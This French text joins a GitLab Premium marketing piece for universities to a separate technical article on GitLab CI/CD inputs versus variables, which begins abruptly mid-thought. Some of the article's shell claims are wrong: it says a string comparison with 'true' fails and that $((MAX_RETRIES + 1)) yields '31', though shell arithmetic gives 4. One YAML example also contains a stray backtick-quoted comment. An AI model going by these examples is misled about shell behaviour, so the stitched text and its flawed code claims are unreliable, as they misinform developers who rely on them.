Les petites équipes informatiques des établissements d'enseignement prennent souvent en charge des infrastructures importantes et complexes avec des ressources minimales. Elles doivent parfois s'appuyer sur des forums communautaires, mais la fiabilité des réponses n'est pas toujours garantie. Par ailleurs, cette approche n'est pas efficace pour les structures de grande envergure. C'est pourquoi GitLab Premium inclut une assistance professionnelle dédiée, qui permet de résoudre les problèmes plus rapidement et d'obtenir de l'aide pour les mises à niveau pendant les périodes critiques, telles que les inscriptions aux cours ou les échéances de recherche.

Cette assistance réduit au maximum les temps d'arrêt des services critiques et garantit la continuité des opérations pendant les périodes de pointe, ce qui donne aux services informatiques surchargés la fiabilité dont ils ont besoin pour les systèmes essentiels.

Architecture open source, performances d'entreprise

Les logiciels open source sont développés de manière collaborative et publique, le code source pouvant être librement consulté, modifié et distribué par tous. Ce modèle de développement favorise l'innovation grâce aux contributions de la communauté et garantit un fonctionnement homogène des logiciels. La base open source de GitLab est en parfaite adéquation avec les valeurs fondamentales des établissements d'enseignement en matière de collaboration, de transparence et de contribution communautaire. Les fonctionnalités de GitLab Premium enrichissent cette base avec des capacités de niveau entreprise et offrent parallèlement la possibilité de contribuer à l'écosystème open source.

Voici les principaux avantages de l'open source :

• Une transparence totale : visibilité complète sur les fonctionnalités de la plateforme et les mesures de sécurité. Vous savez précisément comment le logiciel fonctionne.
• Une contribution de la communauté : possibilité de contribuer à améliorer l'outil au bénéfice de la communauté au sens large et de profiter de l'expertise d'une communauté mondiale de développeurs et développeuses.
• Une indépendance vis-à-vis des fournisseurs : réduction du risque de blocage avec des alternatives open source et liberté de modifier le code au besoin.
• Des opportunités de co-création : développement collaboratif avec la communauté, y compris d'autres établissements universitaires, pour concevoir des solutions partagées.

Assistant d’IA dédié au développement logiciel

GitLab Premium avec GitLab Duo intègre de puissantes capacités d'IA directement dans le workflow de développement, avec notamment :

• Les suggestions de code, qui fournissent une complétion et des suggestions de code en temps réel, pour aider les équipes de développement à écrire du code plus rapidement et plus efficacement.
• Le chat, qui permet d'obtenir des réponses instantanées aux questions posées, de résoudre les problèmes et d'accéder à la documentation directement dans l'environnement GitLab.

Ces outils d'IA améliorent considérablement la productivité, réduisent les erreurs et renforcent la collaboration. C'est précisément la raison pour laquelle GitLab Premium est un atout encore plus précieux pour les équipes de développement logiciel dans l'enseignement supérieur.

La transparence comme principe fondateur

Les établissements d'enseignement supérieur traitent des données particulièrement sensibles, qu’il s’agisse de dossiers étudiants, de résultats de recherche, de travaux universitaires confidentiels ou d'informations liées à des financements publics.

Le Centre pour la transparence de l'IA de GitLab démontre notre engagement en faveur de la transparence, de la responsabilisation, de la protection des données et de la propriété intellectuelle des clients et fournit les garanties de confidentialité dont les établissements d'enseignement ont besoin.

Nous avons lancé ce centre afin d'aider nos clients, notre communauté et nos équipes à mieux comprendre comment GitLab applique les principes d'éthique et de transparence dans ses fonctionnalités alimentées par l'IA.

Notre documentation publique détaille l'ensemble des mesures mises en place pour protéger les données et la propriété intellectuelle de votre établissement. Les principes d'éthique IA pour le développement de produits de GitLab nous guident dans la création et l'amélioration de nos fonctionnalités d'IA, afin d'aider les établissements d'enseignement supérieur à tirer parti des promesses de l'IA, tout en conservant un contrôle total et une surveillance complète de leurs actifs les plus précieux.

Découvrez GitLab Premium dès aujourd'hui

Pour les établissements d'enseignement, GitLab Premium avec GitLab Duo représente un investissement technologique stratégique, qui combine les avantages du développement open source avec des fonctionnalités d'IA native de niveau entreprise. En fournissant des outils de qualité professionnelle prêts à relever les défis propres à l'environnement technique complexe de l'enseignement supérieur, GitLab Premium avec GitLab Duo aide les établissements à corriger les failles de sécurité, à rationaliser les workflows de développement et à maintenir une infrastructure fiable dont dépendent les opérations universitaires et de recherche.

Découvrez GitLab pour le secteur public ou contactez notre équipe commerciale dès aujourd'hui.

Spécialement conçus pour passer des paramètres typés, validés et sécurisés, ils instaurent des contrats explicites et une sécurité renforcée entre les composants de vos workflows et résolvent enfin les limites structurelles auxquelles les équipes de développement font face depuis des années avec les variables traditionnelles.

Les variables CI/CD ont été détournées de leur usage initial. Historiquement, elles étaient conçues pour stocker des paramètres de configuration, et non comme un mécanisme sophistiqué de transmission de paramètres dans le cadre de workflows complexes. Ce décalage a entraîné son lot de problèmes : manque de fiabilité, failles de sécurité, complexité croissante en termes de maintenance.

Dans cet article, découvrez pourquoi les intrants CI/CD sont désormais l'approche recommandée pour passer des paramètres à vos pipelines, ainsi que leurs nombreux avantages (sécurité des types, prévention des échecs de pipeline, élimination des conflits entre variables, automatisation simplifiée). Des exemples concrets illustreront leur mise en œuvre et les problèmes qu'ils résolvent, dans l'espoir de vous convaincre d'abandonner les solutions de contournement à base de variables au profit d'une approche plus fiable et structurée.

Les coûts cachés de la transmission de paramètres via des variables

Utiliser des variables pour passer des paramètres aux pipelines peut sembler pratique, mais cette approche peut être source de frustration et poser de nombreux risques.

Absence de validation des types

Les variables sont des chaînes de caractères. Sans validation des types, un pipeline peut recevoir accidentellement une chaîne à la place d'une valeur booléenne ou d'un nombre et entraîner des échecs inattendus. Un workflow de déploiement de production critique peut par exemple échouer quelques heures après son démarrage, car une vérification booléenne dans une variable n'a pas été transmise correctement.

Mutabilité pendant l'exécution

Les variables peuvent être modifiées à tout moment lors de l'exécution du pipeline, ce qui génère des comportements imprévisibles lorsque plusieurs jobs tentent de modifier les mêmes valeurs. Par exemple, deploy_job_a définit DEPLOY_ENV=staging, mais deploy_job_b attribue la valeur production à DEPLOY_ENV.

Risques de sécurité

Les variables utilisées comme de simples paramètres héritent souvent des mêmes autorisations d'accès que les secrets sensibles, ce qui entraîne des problèmes de sécurité. Il n'existe aucun contrat définissant les paramètres attendus par un pipeline, leurs types ou leurs valeurs par défaut. Ainsi, un paramètre apparemment anodin comme BUILD_TYPE peut soudainement se retrouver à tort avec un accès à des secrets de production simplement parce que les variables ne font pas intrinsèquement la distinction entre les paramètres et les données sensibles.

Pire encore, les erreurs ne sont détectées qu'au moment de l'exécution du pipeline, parfois après plusieurs minutes, voire plusieurs heures. Une simple variable mal configurée peut ainsi provoquer l'échec d'un pipeline, avec à la clé la perte de précieuses ressources CI/CD et une perte de temps pour l'équipe de développement. Pour limiter ces risques, les équipes recourent alors à des solutions de contournement, telles que des scripts de validation maison, une documentation excessive ou des conventions de nommage complexes, autant de tentatives pour renforcer du mieux possible la fiabilité de la transmission de paramètres basée sur des variables.

Nombreux sont les utilisateurs qui ont exprimé le besoin de disposer de fonctionnalités de débogage local pour tester les configurations de leurs pipelines avant le déploiement. Bien que cette solution semble logique, elle se révèle rapidement inefficace dans la pratique. Les workflows CI/CD s'appuient sur des dizaines de systèmes tiers (fournisseurs de services cloud, dépôts d'artefacts, scanners de sécurité, cibles de déploiement), qui ne peuvent tout simplement pas être répliqués localement. Même dans cette éventualité, la complexité rendrait les environnements de test locaux presque impossibles à maintenir. Face à ces limites, une remise en question s'imposait. Au lieu de chercher à mieux tester les pipelines localement, nous avons cherché à comprendre comment nous pouvions éviter les erreurs de configuration liées à la transmission de paramètres via des variables avant même l'exécution du workflow d'automatisation CI/CD.

Le casse-tête de la priorité des variables

Le système de variables de GitLab comprend plusieurs niveaux de priorité qui offrent une grande flexibilité en fonction des cas d'utilisation rencontrés. Bien que ce système soit utile dans de nombreux scénarios, comme permettre aux administrateurs de définir des valeurs par défaut à l'échelle de l'instance ou du groupe tout en autorisant les projets individuels à les remplacer si nécessaire, il peut créer des difficultés lors de la construction de composants de pipeline réutilisables.

Lorsque vous développez des composants ou des templates destinés à être partagés dans différents projets et groupes, la hiérarchie de priorité des variables peut rendre leur comportement moins prévisible. Par exemple, un template qui fonctionne parfaitement dans un projet peut produire des résultats différents dans un autre, simplement parce que certaines variables ont été redéfinies au niveau du groupe ou de l'instance et ne sont pas visibles dans la configuration locale du pipeline.

Lorsque vous combinez plusieurs templates, il devient alors difficile de savoir quelles variables sont définies ainsi qu'où et comment elles interagissent.

En outre, les auteurs de composants doivent non seulement documenter les variables que leur template utilise, mais également identifier les risques de conflits avec des variables susceptibles d'être définies à des niveaux de priorité plus élevés.

Exemples de hiérarchie de priorité des variables

Fichier de pipeline principal (.gitlab-ci.yml) :

variables:
  ENVIRONMENT: production  # Top-level default for all jobs
  DATABASE_URL: prod-db.example.com

include:
  - local: 'templates/test-template.yml'
  - local: 'templates/deploy-template.yml'

Template de test (templates/test-template.yml) :

run-tests:
  variables:
    ENVIRONMENT: test  # Job-level variable overrides the default
  script:
    - echo "Running tests in $ENVIRONMENT environment"  
    - echo "Database URL is $DATABASE_URL"  # Still inherits prod-db.example.com!
    - run-integration-tests --env=$ENVIRONMENT --db=$DATABASE_URL
    `# Issue: Tests run in "test" environment but against production database`

Template de déploiement (templates/deploy-template.yml) :

deploy-app:
  script:
    - echo "Deploying to $ENVIRONMENT"  # Uses production (top-level default)
    - echo "Database URL is $DATABASE_URL"  # Uses prod-db.example.com
    - deploy --target=$ENVIRONMENT --db=$DATABASE_URL
    # This will deploy to production as intended

Défis dans cet exemple :

1. Héritage partiel : le job de test hérite bien de ENVIRONMENT=test, mais conserve DATABASE_URL=prod-db.example.com.

2. Coordination complexe : les auteurs de templates doivent connaître l'ensemble des variables définies en amont pour éviter les conflits.

3. Remplacement imprévisible : lorsqu'une variable définie au niveau du job porte le même nom qu'une variable globale, elle la remplace — un comportement qui peut être difficile à anticiper.

4. Dépendances cachées : les templates dépendent des noms de variables définis dans le pipeline principal.

Pour relever ces défis, GitLab a introduit les intrants CI/CD, une solution dédiée à la transmission des paramètres aux pipelines, qui offre des paramètres typés, validés dès la création du pipeline et non au moment de son exécution.

Principes de base des intrants CI/CD

Les intrants CI/CD permettent de définir des paramètres typés pour des pipelines réutilisables, avec une validation intégrée dès leur création. Conçus spécifiquement pour fournir des valeurs au moment de l'exécution du pipeline, ils instaurent un contrat explicite entre le pipeline et ses utilisateurs : chaque paramètre attendu y est clairement défini, ainsi que son type et ses contraintes.

Flexibilité et portée de la configuration

L'un des avantages des intrants CI/CD est leur flexibilité en termes de temps de configuration. Évalués et interpolés dès la création du pipeline à l'aide du format d'interpolation $[[ inputs.input-id ]], ils peuvent être utilisés dans toutes les parties de la configuration de votre pipeline, y compris les noms de jobs, les conditions de règles, les images de conteneurs et tout autre élément du fichier de configuration YAML. Ils contournent ainsi les limites liées à l'interpolation des variables dans certains contextes.

Voici un cas d'utilisation courant : vous définissez des noms de jobs comme suit : test-$[[ inputs.environment ]]-deployment.

En intégrant des intrants CI/CD dans les noms de jobs, vous évitez les conflits lorsqu'un composant est inclus plusieurs fois dans un même pipeline. Sinon, le fait d'inclure le même composant deux fois entraînerait des conflits de noms de jobs, la deuxième inclusion écrasant la première. Les intrants CI/CD permettent au contraire de générer des noms de jobs uniques à chaque inclusion.

Voici le script sans les intrants CI/CD :

test-service:
  variables:
    SERVICE_NAME: auth-service
    ENVIRONMENT: staging
  script:
    - run-tests-for $SERVICE_NAME in $ENVIRONMENT

Voici le script avec les intrants CI/CD :

spec:
  inputs:
    environment:
      type: string
    service_name:
      type: string

test-$[[ inputs.service_name ]]-$[[ inputs.environment ]]:
  script:
    - run-tests-for $[[ inputs.service_name ]] in $[[ inputs.environment ]]

Lorsqu'un composant est inclus plusieurs fois avec des intrants différents, il génère des jobs tels que test-auth-service-staging, test-payment-service-production et test-notification-service-development. Chaque job porte ainsi un nom unique et explicite qui indique clairement son objectif, ce qui renforce la visualisation du pipeline : en effet, cela évite que plusieurs jobs avec des noms identiques se remplacent les uns les autres.

Revenons maintenant au premier exemple présenté au début de cet article, cette fois en tirant parti des intrants CI/CD. Premier avantage immédiat : au lieu de gérer plusieurs fichiers de templates, nous pouvons désormais n'en maintenir qu'un seul et le réutiliser avec des valeurs d'intrant personnalisées :

spec:
  inputs:
    environment:
      type: string
    database_url:
      type: string
    action:
      type: string
---


$[[ inputs.action ]]-$[[ inputs.environment ]]:
  script:
    - echo "Running $[[ inputs.action ]] in $[[ inputs.environment ]] environment"
    - echo "Database URL is $[[ inputs.database_url ]]"
    - run-$[[ inputs.action ]] --env=$[[ inputs.environment ]] --db=$[[ inputs.database_url ]]

Dans le fichier principal gitlab-ci.yml, nous pouvons l'inclure deux fois (ou plus) avec des valeurs différentes, en veillant à éviter les conflits de noms.

include:
  - local: 'templates/environment-template.yml'
    inputs:
      environment: test
      database_url: test-db.example.com
      action: tests
  - local: 'templates/environment-template.yml'
    inputs:
      environment: production
      database_url: prod-db.example.com
      action: deploy

Résultat : au lieu de maintenir des fichiers YAML distincts pour les jobs de test et de déploiement, vous disposez désormais d'un template réutilisable unique qui gère les deux cas d'utilisation en toute sécurité. Cette approche s'adapte à un nombre illimité d'environnements ou de types de jobs, ce qui réduit les frais de maintenance, élimine la duplication du code et garantit la cohérence de l'ensemble de la configuration de votre pipeline. Vous n'avez qu'un seul template à maintenir au lieu de plusieurs, sans risque de conflit de variables ni de dérive de configuration.

Validation et sécurité des types

L'un des grands atouts des intrants CI/CD par rapport aux variables réside dans les capacités de validation des types. Ils prennent en charge différents types de valeurs, notamment les chaînes, les nombres, les valeurs booléennes et les tableaux, et la validation a lieu dès la création du pipeline. Si vous définissez un intrant CI/CD en tant que valeur booléenne, mais que vous passez une chaîne, GitLab rejette le pipeline avant l'exécution de tout job, ce qui vous permet d'économiser du temps et des ressources.

Voici un exemple illustrant l'énorme avantage de la validation des types.

Sans validation des types (variables) :

variables:
  ENABLE_TESTS: "true"  # Always a string
  MAX_RETRIES: "3"      # Always a string

deploy_job:
  script:
    - if [ "$ENABLE_TESTS" = true ]; then  # This fails!
        echo "Running tests"
      fi
    - retry_count=$((MAX_RETRIES + 1))      # String concatenation: "31"

Problème : la vérification booléenne échoue, car « true » (chaîne) n'est pas égal à true (valeur booléenne).

Avec validation des types (intrants CI/CD) :

spec:
  inputs:
    enable_tests:
      type: boolean
      default: true
    max_retries:
      type: number
      default: 3



      
deploy_job:
  script:
    - if [ "$[[ inputs.enable_tests ]]" = true ]; then  # Works correctly
        echo "Running tests"
      fi
    - retry_count=$(($[[ inputs.max_retries ]] + 1))    # Math works: 4

Impact réel d'un échec de validation des types via des variables : imaginons qu'un développeur ou processus déclenche un pipeline GitLab CI/CD avec ENABLE_TESTS = yes au lieu de true. Supposons qu'il faille en moyenne 30 minutes avant que le job de déploiement ne commence : lorsque ce job démarre, au bout de 30 minutes d'exécution du pipeline ou plus, le script de déploiement tente d'évaluer la valeur booléenne et échoue.

Cela a un impact non seulement sur le délai de mise sur le marché, mais également sur le temps de débogage requis pour trouver la raison de l'échec d'un job de déploiement apparemment basique.

Avec les intrants CI/CD basés sur la validation des types, GitLab CI/CD génère immédiatement une erreur et fournit un message d'erreur explicite concernant l'incompatibilité de type.

Sécurité et contrôle d'accès

Les intrants CI/CD renforcent la sécurité, car ils contrôlent de façon stricte la transmission de paramètres avec des contrats explicites qui définissent précisément les valeurs attendues et autorisées. Ainsi, les limites sont claires entre les paramètres et la logique du pipeline. De plus, une fois le pipeline démarré, les intrants ne peuvent pas être modifiés pendant l'exécution, ce qui garantit un comportement prévisible tout au long du cycle de vie du pipeline et permet d'éliminer les risques de sécurité liés à la manipulation des variables en cours de route.

Portée et cycle de vie

Les variables définies à l'aide du mot-clé variables: au niveau supérieur de votre fichier .gitlab-ci.yml s'appliquent par défaut à tous les jobs de votre pipeline. Lorsque vous incluez des templates, vous devez tenir compte de ces variables globales, car elles peuvent interagir avec le comportement attendu du template en raison de l'ordre de priorité des variables propre à GitLab.

À l'inverse, les intrants CI/CD sont définis dans les fichiers de configuration CI (par exemple, les composants ou les templates), puis des valeurs leur sont attribuées lorsqu'un pipeline est déclenché, ce qui vous permet de personnaliser les configurations CI réutilisables. Ils servent uniquement à la création et la configuration du pipeline et sont limités au fichier de configuration CI où ils sont définis. Une fois l'exécution du pipeline lancée, ils ne peuvent plus être modifiés. Étant donné que chaque composant conserve ses propres intrants, il n'y a aucun risque d'interférence avec d'autres composants ou templates de votre pipeline. Cette approche prévient les conflits et les remplacements de variables qui sont fréquents avec le système traditionnel basé sur les variables globales.

Combiner variables et intrants

De nombreuses équipes utilisent de manière intensive des workflows basés sur les variables, et une migration complète vers les intrants CI/CD ne se fait pas du jour au lendemain. C'est pourquoi nous avons développé des mécanismes qui permettent d'utiliser à la fois des intrants et des variables pour favoriser la transition entre les deux systèmes et surmonter les principaux défis liés à l'expansion des variables.

Prenons un exemple concret pour illustrer cette complémentarité.

Expansion des variables dans les conditions de règles

L'utilisation de variables qui contiennent d'autres références au sein des conditions rules:if peut s'avérer problématique. GitLab ne développe les variables que sur un niveau lors de l'évaluation de ces règles, ce qui peut entraîner des comportements inattendus :

# This doesn't work as expected


variables:
  TARGET_ENV:
    value: "${CI_COMMIT_REF_SLUG}"

deploy-job:
  rules:
    - if: '$TARGET_ENV == "production"'  # Compares "${CI_COMMIT_REF_SLUG}" != "production"
      variables:
        DEPLOY_MODE: "blue-green"

La fonction expand_vars résout ce problème en forçant une expansion appropriée des variables dans les intrants :

spec:
  inputs:
    target_environment:
      description: "Target deployment environment"
      default: "${CI_COMMIT_REF_SLUG}"
---



deploy-job:
  rules:
    - if: '"$[[ inputs.target_environment | expand_vars ]]" == "production"'
      variables:
        DEPLOY_MODE: "blue-green"
        APPROVAL_REQUIRED: "true"
    - when: always
      variables:
        DEPLOY_MODE: "rolling"
        APPROVAL_REQUIRED: "false"
  script:
    - echo "Target: $[[ inputs.target_environment | expand_vars ]]"
    - echo "Deploy mode: ${DEPLOY_MODE}"

L'importance d'une telle opérabilité

Sans expand_vars, les conditions de règles sont évaluées à partir de la référence littérale d'une variable (comme "${CI_COMMIT_REF_SLUG}") plutôt que sa variable développée (comme "production"). Il en résulte des règles qui ne se déclenchent pas comme prévu et brisent la logique conditionnelle du pipeline.

Remarques importantes concernant expand_vars :

• Seules les variables qui peuvent être utilisées avec le terme include sont prises en charge.

• Les variables doivent être rendues accessibles (non marquées comme protégées/masquées).

• L'expansion des variables imbriquées n'est pas prise en charge.

• Les conditions de règles avec expand_vars doivent être correctement citées : '"$[[ inputs.name | expand_vars ]]" == "value"'.

Ce mécanisme résout la limitation d'expansion de variables à un seul niveau et fonctionne pour toute logique conditionnelle qui nécessite de comparer des valeurs de variables entièrement résolues.

Chaînage de fonctions pour un traitement avancé

En plus de expand_vars, vous pouvez chaîner d'autres fonctions telles que truncate pour raccourcir les valeurs aux restrictions de nommage (par exemple, celles imposées par les noms de ressources Kubernetes). Vous pouvez ainsi créer des pipelines plus sophistiqués, capables de traiter les paramètres tout en maintenant la sécurité et la prévisibilité qu'offrent les intrants CI/CD.

spec:  
  inputs:
    service_identifier:
      default: 'service-$CI_PROJECT_NAME-$CI_COMMIT_REF_SLUG'
---


create-resource:
  script:
    - resource_name=$[[ inputs.service_identifier | expand_vars | truncate(0,50) ]]

Cette capacité d'intégration vous permet d'adopter progressivement les intrants CI/CD tout en tirant parti de votre infrastructure de variables existante, ce qui facilite la migration vers le nouveau système.

Des composants uniquement aux pipelines CI complets

Jusqu'à la version GitLab 17.11, les intrants n'étaient réservés qu'aux composants et templates inclus via la syntaxe include:, ce qui limitait leur utilisation aux configurations CI/CD réutilisables, mais ne répondait pas au besoin plus large de personnalisation dynamique des pipelines.

Prise en charge des intrants à l'échelle du pipeline

À partir de GitLab 17.11, les intrants peuvent désormais être utilisés pour modifier en toute sécurité le comportement du pipeline dans tous les contextes d'exécution associés afin de remplacer le recours traditionnel aux variables de pipeline. Cette prise en charge étendue inclut notamment les pipelines suivants :

• Pipelines planifiés : définissez des intrants avec des valeurs par défaut pour les exécutions automatisées et autorisez le remplacement manuel si nécessaire.

• Pipelines en aval : transmettez des intrants structurés aux pipelines enfants et multi-projets, avec une validation et une sécurité des types garanties.

• Pipelines manuels : proposez une interface claire et validée pour la saisie des intrants.

Ces premières améliorations, auxquelles s'ajouteront prochainement d'autres fonctionnalités, permettent aux équipes de moderniser leurs pipelines tout en assurant une rétrocompatibilité progressive. Une fois les intrants CI/CD pleinement adoptés, vous pouvez désactiver les variables de pipeline pour garantir un environnement CI/CD plus sécurisé et prévisible.

Résumé

La migration des variables vers les intrants CI/CD représente plus qu'une simple mise à niveau technique : cette évolution garantit des pipelines CI/CD plus faciles à maintenir, plus prévisibles et plus sécurisés. Même si les variables continuent de servir des objectifs importants dans de nombreux scénarios de configuration, les intrants CI/CD fournissent les capacités de transmission de paramètres tant attendues par les équipes de développement.

Conscients que les variables sont profondément intégrées dans les workflows actuels, nous avons conçu des passerelles entre les deux systèmes. La fonction expand_vars et d'autres capacités d'intrant permettent de tirer parti de ce mécanisme, mais aussi de votre infrastructure de variables existante.

En commençant par de nouveaux composants et templates, puis en migrant progressivement les workflows critiques, vous constaterez rapidement les avantages de contrats explicites, d'une détection précoce des erreurs et d'une automatisation plus fiable qui s'étend à l'ensemble de votre entreprise. De plus, l'adoption des intrants CI/CD constitue un socle idéal pour tirer pleinement parti du catalogue CI/CD de GitLab. Grâce à leurs interfaces typées, les composants réutilisables deviennent des fondamentaux puissants pour structurer vos workflows DevOps. Nous reviendrons sur ce sujet en détail dans un prochain article.

Adopter les intrants CI/CD aujourd'hui, c'est investir dans des pipelines plus robustes, plus lisibles, plus compréhensibles pour demain. Même si vous utilisez déjà un système basé sur des variables, les intrants peuvent être intégrés progressivement afin d'assurer une transition en douceur.

Prochaines étapes

Nous prévoyons d'étendre les capacités actuelles des intrants en vue de résoudre deux enjeux clés : améliorer le déclenchement des pipelines avec des options en cascade qui s'ajustent dynamiquement au choix de l'utilisateur et introduire des intrants au niveau des jobs afin de pouvoir relancer des jobs spécifiques avec des paramètres différents. Nous vous encourageons à suivre ces discussions, à partager vos retours et à contribuer à façonner le développement de ces fonctionnalités via notre ticket dédié aux retours d'expérience.